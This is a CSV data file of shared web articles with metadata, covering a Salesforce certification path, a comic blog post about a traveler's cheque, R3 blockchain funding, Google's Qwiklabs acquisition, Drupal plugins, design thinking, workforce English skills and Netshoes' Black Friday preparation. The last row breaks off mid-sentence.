1479811220,CONTENT SHARED,5313335392004163852,3938645257702379823,-1854582832753019347,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,https://www.salesforce.com/blog/2016/11/new-salesforce-architect-journey.html,Salesforce Architect Journey,"So you want to be a Salesforce Certified Technical Architect? You're a ninja in governance and know how to design high-performing technical solutions? A master in all things Salesforce Platform, and want to show off your expertise? We have a new Architect Journey for you. It's no secret that our Certified Technical Architects (CTAs) have supercharged their careers by holding one of the top and most lucrative technology credentials. Not to mention, they provide tremendous value to our customers by giving sound and strategic guidance for successful go-lives. And since we are passionate about building out our community of Architects, we want to make it easier for you to join the club. At Dreamforce, we announced that all the training resources are now available for FREE! That's right! Everything that used to be in the Architect Academy catalog is now yours to browse through, practice, and learn to your heart's content. OK, where do I start, you might ask? Let's take a look at the new Architect Journey. This new framework lets you take two different paths before you reach the top: You can first become an Application Architect or a System Architect. Each of these two new domains have their own distinct paths, giving you the flexibility to move forward in a way that works best for you. Let's explore it, step-by-step, starting from the beginning. Your journey should always include Trailhead, the self-guided and fun way to learn Salesforce. There are so many excellent trails for both Developers and Admins, discussing every aspect of our Platform. Make sure to check those out. Next, we recommend that you become Salesforce Administrator Certified (which you don't have to do as a requirement for the CTA and Domain Architect, but we highly recommend it, as it'll give you great foundational knowledge.) Now you're ready to start your stepping-stone path towards three levels of Architect Credentials: Domain Designer -- Become a Specialist With six new specialized Domain Designer exams, you can now become industry-recognized for your specific area of expertise. Whether it's Sharing and Visibility, or Identity and Access that pique your interest, there's a specialist credential for you. And when you combine your specialization with the Platform Developer I and Platform App Builder certifications, you can then start to navigate towards the new Domain Architect level. Domain Architect -- Be the Expert Prove you have extensive and deep architecture knowledge in Salesforce Application or System Architecture. Not only will this validate your full scope of expertise, but it will also drive your career growth. And best of all, there's no additional exam - after you earn all the certifications in the relevant tier, you will automatically achieve a Domain Architect credential. Technical Architect -- Reach the Summit If your ultimate goal is to become one of the Salesforce elite and join the exclusive few who can boast CTA status, this new journey will help you on your way. Once you have achieved both Domain Architect certifications (and if you have also taken action on our strong recommendation to get both your Community Cloud Consultant and Mobile Solutions Architecture Designer certs), you'll be more qualified and prepared than ever to present at the CTA review board exam. Not only are each of these three levels better defined, but they are also more attainable. You now have your journey mapped out: unlimited access to the trails in Trailhead, as well a full library of self-directed training guides (eBooks), curated under the guidance of our CTA community so you can learn directly from the real experts. Content includes reference materials, videos, technical documentation, and specific build case scenarios that help you practice. Each eBook guide is aligned to a specific certification on the Architect Journey. And did we mention these guides are now FREE? If you are still reading this and didn't try to jump straight to a ""Learn More"" link as soon as you saw the words FREE guides , check out our detailed Architect Journey Overview and the individual Architect Certifications now available to you. And if you're just too excited and want to get started now, here are all the Architect eBooks . Happy trails, you Architect hopefuls...we look forward to following your progress to the Summit!",en
1479813674,CONTENT SHARED,-4925213312961842798,5660542693104786364,3945093250950063957,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://thefinanser.com/2016/11/american-express-book-mormon.html/,American Express ... and the Book of Mormon - Chris Skinner's blog,"So here's a story you're gonna love. I did an American friend a favour and, to say thank you, they sent me $500 in the post in the form of a travelers cheque. Really generous, thank you, but what the hell is a travelers cheque? I vaguely remember them, but weren't they eradicated in the last century? Haven't used one ever, and not sure why they would send it in that form but hey, I'm not complaining. After all, I'll just bank it. So I go to the bank to deposit the cheque. The branch is gloomy, even though it's been refurbished recently, and full of people who look like they are there to rob the bank rather than be served by them. I duly take my place in the five person queue to be served by one of the two tellers. After ten minutes, I get to be greeted by Edith. I think that was her name, but not sure as she looked like she retired ten years ago and had her badge on upside down. ""Hello"", me says. ""I'd like to deposit this here travelers cheque."" ""No"", says Edith. ""I'm sorry?"" confused. ""We don't take travelers cheques. You have to go to Thomas Cook. Next"", says Edith, brushing me aside and waving the person behind to come forward. Blimey! That's not the best service. Mind you, you'd expect that from a bank wouldn't you? So I go to Thomas Cook, the travel agent and am amazed such places still exist. People actually go to a physical store to book a holiday and get some currency? Haven't they heard of Expedia and TransferWise? Anyways, it's ok as I see a handsome young chap at the back of the store with a big sign saying ""Currency Desk"". OK. ""Hello"", me says. ""Can you process this here travelers cheque?"" ""No"", says Edith. ""I'm sorry?"" confused. ""We don't take travelers cheques. We used to, but we stopped back in May. Try a bank"", says the young whippersnapper. ""I did. Just tried that"", says I. ""Well, maybe you should call AMEX and see what they say?"" Ah, jolly good idea. An 0800 number, 16 digits of the card number and my inside leg measurement and blood type later, I get through to Travelers Cheque Services. ""I've got this travelers cheque from a friend and can't find anyone who will take it"", I say. ""Have you tried a Post Office"", they say. Oh yes. Hadn't thought of that. So I mosey on down to nearest Post Office store, where everyone seems to be in shirts that have pockets for pens and glasses that are at least double strength. I join the eight deep queue. Wow, do people really live like this? After fifteen minutes, I get to the front and a nice smiling lady called Doris says: ""how can I help?"" ""Hello"", me says. ""Can you process this here travelers cheque?"" ""Oh"", Doris says, with a look on her face like I've just presented her with some dog pooh, ""I don't deal with that. You'll have to talk to Sidney on counter number one."" She points to Sidney, who is just about able to stand at the counter thanks to his zimmerframe. ""Oh no"", says I. ""Do I have to queue all over again?"" ""No"", says Doris. ""SIDNEEEEEEEEEEEEEEEEY. WHEN YOU FINISH WITH THAT ONE CAN YOU DEAL WITH THIS ONE"", she shouts in a voice that vaguely reminds me of chalk on a blackboard. Sidney nods, and I wander over and loiter with intent. ""Yes"", says Sid ( may I call you Sid? ). ""Hello"", me says. ""Can you process this here travelers cheque, Sidney?"" ""No"", says Sid. ""Why not?"" me pleads. ""I spoke to AMEX and they told me the Post Office could deal with this. ""No"", says Sid. ""It's been signed by Hu Lang Dong and you don't look like a Hu Lang Dong to me."" ""Well I'm not"", I say. ""I'm Chris."" ""Exactly"", says Sid. ""Next."" Do they train them all to behave this way? I go home. It then occurs to me to try talking with AMEX again. ""Hello, American Express customer service. My name is Wayne. How may I help you?"" says the cheery Scottish voice on the end of the phone. ""Well, I've got this travelers cheque that I can't cash and my bank won't take as a deposit"", sniff, sniff, sniff. ""No problem. Just tell them to call this number as the cheque is good once you put your name on it"", says Wayneo. ""Really? But they told me no"", says I worryingly. ""No. They will take it"", says Wayneo. OK, so I go back to my original start point: the bank. This time I meet Barbara. I've dealt with Barbara before. ""Oh, it's you"", I says. ""Ah, it's you"", she says. Our eyes narrow as she wonders what incredibly difficult question I'm going to ask her. Last time I came here, it resulted in a worrying blog post that she spotted. ""Urmmm. Ok. I came in earlier and tried to deposit this travelers cheque in my account."" I show her the cheque. ""I was told that I couldn't deposit it, but American Express tell me you should take it."" ""Oh"", says Barbara. She takes the travelers cheque, thinks about it for a minute and then says, ""I guess we could take it. We would treat it the same as depositing a foreign cheque, I guess. It does mean there will be a £10 charge for processing it"", she is starting to feel comfortable. But then a quizzical look comes over her face. ""I'll just go and check."" ""You've got the cheque"", I say. ""No"", says Barbara. ""I'll just go and check that we can take the cheque."" ""Oh"", and she's off. I notice the grubby queue of people is now quite a long one and there's only one cashier on duty. Unfortunately, she's wrapped up with some old dear who wants her to stamp her passbook as she's just deposited some money. This goes on for some time, as the cashier is explaining that they don't stamp pass books anymore. It's all electronic. ""But the last time I came in here, she stamped it. Look!"" pleads Old Mother Hubbard. When was that? 1972, I wonder. ""We don't do that anymore"", says the cashier. ""Look, it's now on my screen here."" ""But I can't see that at home, can I?"" This goes on for a while and finally the cashier gets to the next chap. ""I want to cash this cheque"", he says. The cashier takes it and asks him for ID, which he duly gives her. ""Urmmm, I can't cash this"", says the teller. ""Why?"" says Mr. Magoo. ""Because whoever sent it to you has only put your first name on it. It has to have your full name, including your surname for me to cash it"", says Edith who I've now recognised. Bloody hell. Is this some comedy sketch or something? Mr. Magoo shuffles off despondently, bumping into the returning Barbara as he disappears into the distance. Barbara is looking happy. ""Hello again Mr. Skinner"", she opens. ""Yes, nice to see you again Barbara"", I smile. ""Urmm. We can't cash this"", she commands. ""WTF not Barbara?"" I whisper, feeling a little of the Hannibal Lecter starting to fall on me. ""Because it's a foreign currency cheque"", she smiles back. ""If it was UK sterling, we would take it but, because it's foreign, you'll have to go somewhere else."" With that, she puts the Closed sign on her teller position, leaving me, Edith and the twenty or so folks in the queue to our living hell on Earth. I go home. I call AMEX back and explain everything that's happened. ""Oh, you can still get this sorted out for you Mr. Skinner"", says Waynetta on the line. ""The process is as follows ..."" I won't bore you with the whole conversation, but basically I have to firstly write VOID across the front of the cheque. I then need to make sure I take a scan or photocopy of the cheque. Once that's done, send the cheque in the post, with an explanation of all that has happened and detailing my preferred method of getting the $500 - by wire or cheque in the post. Then send the VOID cheque and letter in the post to the only place on Earth that processes VOID AMEX travelers cheque: Salt Lake City, Utah. OMG. I sent the cheque back to my friend and said, thanks for the good wishes but I'm changing religion and cannot accept cash gifts. If you liked this, it's the second run-in with AMEX. You can read the first here.",en
1479814586,CONTENT SHARED,6222001809679591440,5660542693104786364,3945093250950063957,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://www.reuters.com/article/us-blockchain-r-idUSKBN13G25J,Blockchain startup R3 cuts fund-raising target to $150 million: source,"NEW YORK Blockchain company R3 CEV has reduced the amount it aims to raise from bank members in its first large round of equity funding to $150 million from $200 million, according to a person familiar with the plans. R3, a New York-based startup that runs a consortium of more than 70 financial institutions, now plans to give bank members a 60 percent equity stake in its blockchain business in exchange for the funding, the source said. Goldman Sachs Group Inc (GS.N), one of the original participants, is not renewing its membership and is not investing, a spokeswoman said. Most other banks have agreed to the new terms of the deal, but R3 does not expect all existing members to join the round, said the source, who requested anonymity to discuss plans that were not public. R3's fundraising comes as banks and other large institutions ramp up their investments in blockchain, which is also known as distributed ledger technology. It first emerged as the technology underpinning digital currencies like bitcoin but is now being adapted for use in more traditional financial tasks, such as transaction processing. Other new companies are also looking to sell blockchain-based technology to banks. Competition among these startups has intensified over the past few months as they try to secure investments and deals with large institutions to provide the technology. R3's funding will be raised in phases over the next nine to 12 months, the source said. Through its consortium and technology development lab, R3 comes up with ways for the financial industry to use blockchain software. According to the new terms of the deal, the banks will also acquire a stake in the development lab, which tests new blockchain-based applications. R3 had originally planned to give investors equity stakes in a new company providing shared services for the owners. R3 would have run this utility for 10 years and retained a stake in it. The lab would not have been included in the deal. The group's original 42 members will be able to invest first, followed by members of the company's development lab. If the $150 million target is not reached, the round will be opened to other strategic investors, such as a technology company, the source said. Since it began operating in September 2015, R3 has rapidly gained the support from the world's largest banks, with members including UBS Group AG (UBSG.S), JPMorgan Chase & Co (JPM.N) and Deutsche Bank AG (DBKGn.DE). So far they have paid membership fees to participate in the company's activities. Thomson Reuters Corp (TRI.TO) is also a member of R3. The Wall Street Journal earlier reported Goldman dropped out of the consortium. (Reporting by Anna Irrera in New York; Editing by Lauren Tara LaCapra and Lisa Von Ahn)",en
1479828568,CONTENT SHARED,6870972580508513306,-2726721797588771398,-7923527782369912022,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.44 Safari/537.36",NJ,US,HTML,https://techcrunch.com/2016/11/21/google-acquires-qwiklabs-to-teach-developers-cloud-skills/,Google acquires Qwiklabs to teach developers cloud skills,"Google today announced that it has acquired Qwiklabs , a hands-on learning platform for those who want to become more familiar with operating cloud environments and writing applications that run on them. Qwiklabs, which launched in 2012, only focused on teaching skills for Amazon's AWS platform so far. Given AWS' dominance in the marketplace, that made perfect sense. Amazon even uses Qwiklabs as its go-to service for offering self-paced labs for developers on its platform. Google says it will use Qwiklabs's platform to focus ""on offering the most comprehensive, efficient, and fun way to train and onboard people across all our products on Google Cloud, including Google Cloud Platform and G Suite ."" Qwiklabs says it will continue to offer lab learning credits and subscriptions on its site and it looks like the existing AWS labs will continue to function. I'm not sure we'll see all that many new AWS courses in the future, though, but that remains unclear. A Google spokesperson told us that the company doesn't have any further specifics to announce about this. As far as Qwiklab's Google Cloud courses go, the same spokesperson also told us that the company doesn't have any specifics to announce as to when those will go live, either. Qwiklabs says that over half a million users have used its platform to spend over five million hours of learning about AWS so far. According to CrunchBase , the company never raised any outside funding and neither Google nor Qwiklabs disclosed the price of today's acquisition.",en
1479837778,CONTENT SHARED,8243193415815549463,3891637997717104548,733716825438850590,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,https://drupalize.me/blog/201611/release-day-extend-drupal-8-plugins,Release Day: Extend Drupal 8 with Plugins,"Check out our Module Development Guide , we've just added a whole bunch of new tutorials covering Drupal 8's plugin system--as well as a handful of other tutorials useful for anyone developing modules for Drupal 8. Plugins were added to Drupal 8 as a way to replace some of the features previously provided by hooks. The plugin system allows a particular module or subsystem to provide functionality in an extensible, object-oriented way. And understanding how it works is essential for every module developer. Plugins are used for adding blocks, creating new field types, defining new field formatters, adding row styles to views, defining entity types, and more. Our set of plugins tutorials covers what plugins are, how to implement new plugins to extend existing subsystems, and how to create new plugin types to make your own code more flexible. We'll also take an in-depth look at how all the components that make up the system work. This was a fun set of tutorials for me to create. I've both written , and spoken , about the plugin system at length. In my opinion it's one of the fundamental new Drupalisms that every developer needs to understand--as well as an elegant solution to a complex problem. I hope that the content--and quality--of these tutorials reflects that. Without further ado, get started using Drupal 8's plugin API today: In the process of creating the above tutorials we also added one on Annotations, and one on Drupal Console--two things we felt were essential for anyone working with plugins. We're working on creating more tutorials covering essential concepts for Drupal 8 module developers including: subscribing to and dispatching events, and implementing hooks--more essential concepts for module developers. We plan to have those ready for publication before the end of the year. Are there any Drupal 8 module development topics you're itching to learn more about? Let us know.",en
1479899679,CONTENT SHARED,6917508501173008954,-1443636648652872475,-3988737989599127077,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://blog.dominodatalab.com/introducing-the-data-science-maturity-model/,Introducing the Data Science Maturity Model,"Many organizations have been underwhelmed by the return on their investment in data science. This is due to a narrow focus on tools, rather than a broader consideration of how data science teams work and how they fit within the larger organization. To help data science practitioners and leaders identify their existing gaps and direct future investment, Domino has developed a framework called the Data Science Maturity Model (DSMM ). The DSMM assesses how reliably and sustainably a data science team can deliver value for their organization. The model consists of four levels of maturity and is split along five dimensions that apply to all analytical organizations. By design, the model is not specific to any given industry - it applies as much to an insurance company as it does to a manufacturer. The matrix below shows how we map the DSMM. Alongside describing the maturity framework, the paper presents case study examples of teams at each of these four levels of maturity and offers actionable advice for improving the function of data science teams. It is important to remember there is no turn-key solution to becoming a mature data science organization. Anyone pitching such a solution is naive or misleading. The teams we've observed operating at the highest level had visionary champions and took years of disciplined investment across people, process, and technology. Moreover, as the field evolves, it's not enough to rest on one's laurels. Technology has reduced costs and barriers to entry in data science, eliminating a moat relied on by visionary firms. In the future, we believe the competitive edge in data science will derive from process and structure, more so than tools alone. Practitioners and executives alike should consider if their current strategy is building towards a mature organization. If you have feedback or suggestions on how we can improve the framework, do not hesitate to contact us at [email protected] . We hope to iterate on this first draft and incorporate insight from the data science community. Download the Data Science Maturity Model .",en
1479901922,CONTENT SHARED,8428597553954921991,268671367195911338,-4581094555157170117,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,http://www.huffingtonpost.com/advertising-week/time-to-re-think-design-t_b_12455924.html,Time to Re-Think Design Thinking,"Olof Schybergson, CEO and Shelley Evenson, Head Of Organizational Evolution At Fjord, Design and Innovation From Accenture Interactive Faced by growing competition and nimbler start-ups , many organizations are struggling. They suffer from a crisis of innovation. Unable to differentiate their brands, their products and their services in a digitally disruptive world, organizations' future success depends on better managing and responding to change. Their very existence hinges on their ability to continuously and rapidly innovate. In order to do so successfully, they must place people at the heart of everything they do. They must harness the power of design. Business leaders once distinguished business strategy from customer experience but, today, that mindset is changing: business strategy has become experience strategy. In fact, 89% of companies recently surveyed by Gartner claim that experience will be their primary basis for competitive advantage this year. These shifts, along with growing evidence that design-centric companies are outperforming the market average, are fueling private and public sector interest in design - an agile and collaborative discipline that enables human-centered innovation to be brought to market, fast. The appetite for design thinking to reframe experience has never been greater. More corporations are opening their eyes to the power of design thinking as a way to solve the crisis of innovation. They see disruptive companies like AirBnB get this. But misguided efforts -- however well-intentioned -- may do more harm than good. The truth is, design thinking has become broken in today's digital age. The current interpretation of design thinking is often shallow and, as widely understood, not the answer. Simply put, design thinking is not enough. True success comes from building a complete design system, and no organization can build such a system on design thinking alone. Here's how to do it. The fact is, design thinking only has value when combined with design doing and supported by a strong design culture. You can't be good at only one or two. The Design Rule of 3 constitutes the three fundamental rules that underpin every successful design system employed by leading organizations, across sectors. When optimized and deployed in unison, organizations can effectively unlock the full potential of design to transform not only their own value and performance but peoples' experiences of the products or services they provide. Re-Thinking Design Thinking Design thinking should bring a quest for truth, empathy with people, and a systematic reframing of the business challenge-zooming in and out of the opportunity space, and providing a strategic compass to help executives understand how to reorient their businesses. Co-creation has to be integral. An organization must be willing and able to break down organizational silos to enable it. Fundamentally, design thinking must align a design perspective with business realities and technical possibilities. Key Tenants of Modern-Day Design Thinking: Co-Creation Top Down, Bottom Up Design Prototyping Continuous Feedback & Testing Measuring customer delight is essential, by employing Net Promoter Score ( NPS ) or an equivalent. At Fjord, we use our research-based Love Index to quantify and understand people's engagement. The Love Index is an actionable tool that allows you to understand what people feel about your offering, and why.Mastery requires both C-suite and grassroots support; this simultaneous top-down and bottom-up commitment is essential for design thinking to become broadly embedded across an organization. Staff training and ""learning by doing"" project-based experiences will help get you there. Crucially, successful design thinking must also include an element of making - early experience prototypes are important to validate thinking and align teams. Proponents of design thinking often get caught up in the methodologies (""how to get there"") versus the actual destination. Hands-on creation is often forgotten in today's rush to apply design thinking organization-wide. Financial software giant Intuit is a powerful example of an organization that has optimized design thinking and the context in which it lives. VP and Executive Creative Director Suzanne Pellican oversees the company's Design for Delight program that aims to inject design thinking into the company's DNA. She's trained and cultivated a community of 200 innovators who've run more than 1,000 workshops over five years to change the way people work across every function. By becoming design-driven, Intuit shifted from what Pellican has described as ""the best run, no growth company in the Valley"" to ""a 30-year-old startup."" Make no mistake, design thinking is crucial to improving everything from the value of a company's offering to reimagining the employee experience. But misunderstanding what it is and how best to apply it risks sidelining design thinking into just another passing management fad. The reason is simple: design thinking is just the beginning -- a catalyst. What's critical is to convert theory into reality to catalyze change. This is where design doing comes in. Not Just Design Thinking, but Doing Design doing is where design thinking meets the real world. While design thinking should be embedded across the organization, design doing must involve design experts. It must be driven by people passionate about the craft of design across its every application, powered by design practices such as rapid iteration and real-world testing. As the digitization of everything takes hold, the medium for design doing constantly evolves. Instead of designing for print or TV, today we design for mobile consumption and voice interaction. Instead of creating static products and websites, we design living services tailored for each individual, and powered by data. We are designing for experience in an ever-broadening context. This requires interdisciplinary teams of designers collaborating with experts as diverse as data scientists and developers. "" Design thinking is nothing without design doing. "" This broader context brings unprecedented complexity. Great design cuts through the clutter and helps prioritize and progressively reveal -- without dumbing down. The ability to simplify and make complex systems easy, engaging and intuitive for people is one of the critical contributions of good design (and great designers) at a time when the strategic business value of simplicity has never been greater. An emotional connection to brands, products, and services is also crucial for success. Rather than focus narrowly on Minimum Viable Product, the aim should be to imagine and shape a Minimum Lovable Product. Great design did not always come easy in the engineering-obsessed culture of Google. But after Larry Page took reigns as CEO in 2011, the company started crafting a common design language for experience that, for the first time, unified a vast collection of offerings into one coherent family. C-suite support, willingness to invest and strategic commitment created a program led by a core team of designers that enabled and applied great design doing across Google's diverse initiatives. In this way, an everyone-for-themselves approach to design was replaced by design becoming a central guiding force for the organization. The results speak for themselves. Google products are now perceived by many as having made the most strides at improving design, according to KPCB's 2016 Design In Tech report. Some 64% of those surveyed rated Google as ""most improved"" when asked which tech companies were best improving their design. Only 33% said so of Apple. Design doing can generate powerful results. But it can only do so within a considered and optimized organizational culture conducive to innovating and doing design well. This brings us to the last rule in the Design Rule of 3. Why Design Culture is All Design culture is equally important as design thinking and design doing because it enables the others. Creating a design culture is no trivial undertaking. It requires organizational commitment and patience. This is where most organizations stumble. Brilliant people will fail if the environment in which they work doesn't foster creativity, collaboration and innovation. Fostering a Design Culture: Diverse teams including change agents Learning & evolution of individuals Flexible physical spaces Given that great ideas emerge from diverse teams, change agents should be recruited as ambassadors and implementers of cultural transformation. Care must be taken to ensure they are set up for success. Money alone will no longer secure the best designers. People want environments in which they are challenged, continuously learn and make impact. Our own Fjord Evolution team helps our clients create a learning design environment, a culture that will encourage the best design talent to come, learn, thrive -- and stay. Flexible and open workspace is important to facilitate the best design work; and visual representations of ideas and their impact are a powerful tool. Design and innovation requires full mind and body engagement. Photo: Werner Huthmacher, Fjord Berlin It's relatively easy to copy a good business idea today, and technology solutions are cheaper and more flexible than ever. Differentiation through a clever business model or a novel technology is challenging. Culture, however, is hard to emulate. A vibrant design culture can be the best and most sustainable differentiator for an organization. Commerzbank, the global banking and financial services company, is one organization working to build such a culture through a considered deployment of design. Having initially considered buying a design consultancy to import a fully-fledged design function, it decided to change its culture from within. Work is now underway to create an internal design function that will embody and enact the company's new vision. The design space and design team is being built and managed by Fjord, as their strategic partner, until the bank's management team takes over day-to-day operations. As they're discovering, fostering a culture of design is an organizational and mindset shift that does not happen overnight. It requires commitment to a multi-year process, one that constantly evolves. Benefits of an Effective Design System In today's world, digital may look like the driving force of change but, in reality, people are at the heart of digital. Design, by its very nature, creates a culture obsessed with people willing to listen and learn from multiple vantage points, ignore hierarchies and experiment until finding the best solution. This explains why human-centricity is what powers successful organizations, across sectors, and why design is a fundamental part of their DNA. Harnessed properly, design can boost an organization's performance and value because enduring customer relationships are a natural outcome. Other evidence points to a happier workforce too. Bottom line -- mindset matters. Acquiring design thinking methods is a great first step, but must be followed through with changing how products and services are conceived and delivered, every day in every way. Effecting that transformation means simultaneously creating the right culture. Good intentions can only become reality if underpinned by a considered, effective design system built on solid foundations: the Design Rule of 3.",en
1479989926,CONTENT SHARED,1639450243805666792,-8241940599580729220,5518557978120711222,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",MG,BR,HTML,https://hbr.org/2016/11/research-companies-and-industries-lack-english-skills,Rating the English Proficiency of Countries and Industries Around the World,"In the aviation industry, miscommunication can be fatal. More than 1,000 deaths in plane crashes have been due to communication failures, often between crews that speak English and crews that don't. Since 2001, English has been the international language of pilots and air traffic controllers, and airlines across the world have invested in English training programs for pilots, flight attendants, and other customer-facing staff. In its pivot to English, the aviation industry is not unique: Around the world, companies and industries are recognizing the need for a lingua franca, or common language. We've published research that shows countries with higher English proficiency tend to be more innovative and have stronger economies . Corporate leaders, such as Rakuten CEO Hiroshi Mikitani, talk openly about the benefits of ""Englishnization."" Tsedal Neeley, an associate professor of organizational behavior at Harvard Business School, has written about the benefits of setting English as the corporate language . She argues that businesses with strong English skills can buy from and sell to a more diverse range of customers and business partners. They also have better internal communication across geographically dispersed workforces. All of these benefits apply to industries as well. Until now, it has been difficult to find data about the actual English skills - and skills gaps - of industries worldwide. Given the importance of English for companies' competitiveness, we conducted a global study of workforce English, surveying 510,000 professionals across 16 major industries in 40 countries. These professionals work for more than 2,000 different companies, with sales that range from less than $1 billion to more than $60 billion. We published the results of this survey in the third edition of the EF English Proficiency Index for Companies . Our findings reveal some unexpected patterns across industries and countries and within companies - and they suggest opportunities for global companies to gain a competitive edge. Simply put, we're still far from a fully English-speaking world. Five findings in particular stood out: On average, women have better English language skills than men in most countries, industries, and job functions. This skills gap might reflect an education gap: Women receive more years of formal education than men, are more likely to attend university, and are more likely to study the humanities. Executives usually have lower English levels than the managers they oversee. Looking at global averages across industries, even the most junior staff outscored executives. This pattern is most likely a result of generational differences, as English skills tend to be lower among older adults than younger professionals. The result suggests that many executives from non-English-speaking countries may have trouble directing an English-speaking team, reading detailed reports in English, or taking the lead in complex meetings held in English. There are wide skills gaps between industries. Certain industries where English-language communication seems critical, including the logistics industry and the aviation industry, show low levels of English proficiency. Only two industries surveyed - consulting and professional services and engineering - had consistently strong English skills. English ability varies among companies of different sizes. On average, firms with sales of $10-$60 billion have higher proficiency scores than firms making less than $10 billion or more than $60 billion. It's not surprising that smaller companies lag behind larger companies, which tend to be more global, but it is surprising that the largest companies do not perform better than midsize companies. It could be that the largest companies sampled are more mature businesses, where executives have not traditionally needed to use English. Another possibility is that these companies are structured differently, such that they have many employees who work exclusively on a national scale and don't need to speak English. English proficiency in companies is low in most countries . Professionals speak at least some English in all of the countries surveyed. However, global workforce English levels are generally low, with an average score of 52.56 on our 100-point scale and national scores ranging from 73.83 in the Netherlands to 33.64 in Iraq. Not a single country surveyed has workforce English proficiency that qualifies as ""advanced"" - level C1 or C2 on the Common European Framework of Reference for Languages . Despite a near universal recognition of English as the international language of business, wide gaps in workforce English proficiency persist between countries. The lack of strong English skills presents an opportunity for forward-thinking business leaders, and yet, as our data shows, many companies are not taking advantage of that competitive edge. Their hesitation to embrace English seems to be reflected even at the very top of the company. We have several recommendations for business leaders who want to strengthen the English skills of their workforce. Benchmark English proficiency. Employee testing can give you an immediate view of the linguistic strengths and deficiencies of your workforce. Link English proficiency to business objectives. The most-effective English training programs motivate learners by highlighting the advantages of English proficiency for each job function. Dedicate adequate resources to skills improvement. It is important to recognize that English-language training is a strategic investment akin to any other change in management. Recognize the need for personalized sector-specific training. A one-size-fits-all English course may not adequately address the varying skill levels across your workforce. In today's globalized economy, these language skills can become a critical advantage. Therefore, as Neeley argues, every company should be thinking about the critical question: What is your language strategy?",en
1480004691,CONTENT SHARED,2215773447123360543,-1352064057049251194,-5053085594859630064,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://exame.abril.com.br/tecnologia/como-a-netshoes-se-preparou-para-a-black-friday-deste-ano/,Como a Netshoes se preparou para a Black Friday deste ano,"São Paulo - A Black Friday será nesta sexta-feira (25), mas a está se preparando para o evento desde o ano passado. ""É igual ao Carnaval: acaba um, nós já começamos a pensar no samba-enredo do próximo"", brinca Graciela Tanaka, diretora de operações da Netshoes, em visita que EXAME.com fez ao centro de distribuição da empresa em Barueri, interior de São Paulo. Além da Black Friday, a Netshoes também se mobilizou para a Black November. O evento é uma espécie de ""Black Friday estendida"", que dura todo o mês de novembro. Para este ano, foram abertas 600 vagas nos três centros de distribuição da companhia espalhados em Minas Gerais, Pernambuco e São Paulo. ""O pessoal trabalha 24 horas por dia, sete dias por semana para dar o melhor atendimento para os nossos clientes"", conta Tanaka. Durante a Black November, dois milhões de produtos são ofertados tanto no site quanto no aplicativo da Netshoes. Aliás, a empresa irá manter o serviço de navegação grátis pelo app, em que o usuário não consome a franquia de dados quando está à procura de um item. Essa medida foi tomada pela empresa antes da regulamentação do Marco Civil da Internet e beneficia clientes das operadoras Claro, Oi ,TIM, e Vivo. Além de afetar o usuário, a ação também refletiu nos números da empresa. Em comparação com a Black Friday de 2014, o evento de 2015 teve um aumento de 464% no número de pedidos via mobile. Como espera uma cifra ainda maior neste ano, a empresa começou a preparar seu time de TI desde setembro. André Petenussi, diretor de tecnologia da Netshoes, disse a EXAME.com que a equipe precisa cuidar de 24 sites, entre lojas próprias e de parceiros, nos três países em que a empresa está presente. ""Cada país tem um dia específico para a Black Friday, por isso precisamos começar cedo para aliar as datas de forma eficiente"". Uma série de testes é feita em todas as aplicações durante esse período pré-Black November. ""Geralmente, nós pegamos um ambiente de baixa revenda, simulamos uma carga grande nele, como se milhares de clientes estivessem acessando"", explica Petenussi. ""Com isso, conseguimos ver quais pontos das aplicações que degradam a performance"". Outro foco da equipe é reduzir o consumo das máquinas durante a Black November e a Black Friday. Para isso, um data center extra está sendo utilizado. ""Não queríamos apenas crescer a capacidade computacional, mas também otimizar a utilização desses recursos"", aponta o diretor de tecnologia. Ele ainda adiciona que os dois eventos servem para avaliar o desempenho anual da Netshoes. ""Esse tipo de planejamento já virou rotina para a TI. Normalmente, precisamos fazer esses testes e aumentar o nosso poder computacional com mais servidores todo ano"", conta. Mesmo com toda essa preparação, a Netshoes também possui planos de desastre para que os consumidores não fiquem na mão. Assim, na hipótese que o site caia durante a Black Friday, o time de TI já criou alternativas para que a plataforma continue funcionando. ""Todo o ambiente que desenvolvemos é altamente redundante. Isso significa, por exemplo, que conseguimos redirecionar todo o tráfego de um data center para outro rapidamente"". Em últimos casos, o sistema irá criar uma fila para que os clientes esperem para entrar na loja. ""Nós não usamos esse recurso o ano passado e tenho convicção de que não utilizaremos este ano"", crava o diretor de tecnologia. Segundo ele, a Black Friday deste ano será a melhor de todos os tempos. ""O começo da Black November já mostra isso."" Dentro do centro de distribuição A organização da Netshoes para a Black Friday vai muito além do TI. Na realidade, ela começa quando os produtos chegam aos centros de distribuição para serem fotografados. Só em Barueri, a empresa tem oito estúdios, onde é possível fazer ensaios de moda, fotografias de produtos e até imagens em 360 graus. ""Entre 700 e 1.200 itens são fotógrafados diariamente em nossos estúdios"", fala Tatiana Zamparini, gerente do estúdio. Segundo ela, há 30% a mais de volume de produtos na Black Friday em comparação com o resto do ano. ""É similar com a troca de coleção, que acontece todo semestre"", compara. Depois que as imagens são feitas, os produtos são levados para a inspeção de qualidade. Zamparini explica que cada roupa utilizada nos estúdios é lavada, passada e embalada antes de voltar ao estoque. Quando o produto é escolhido, ele é conferido novamente 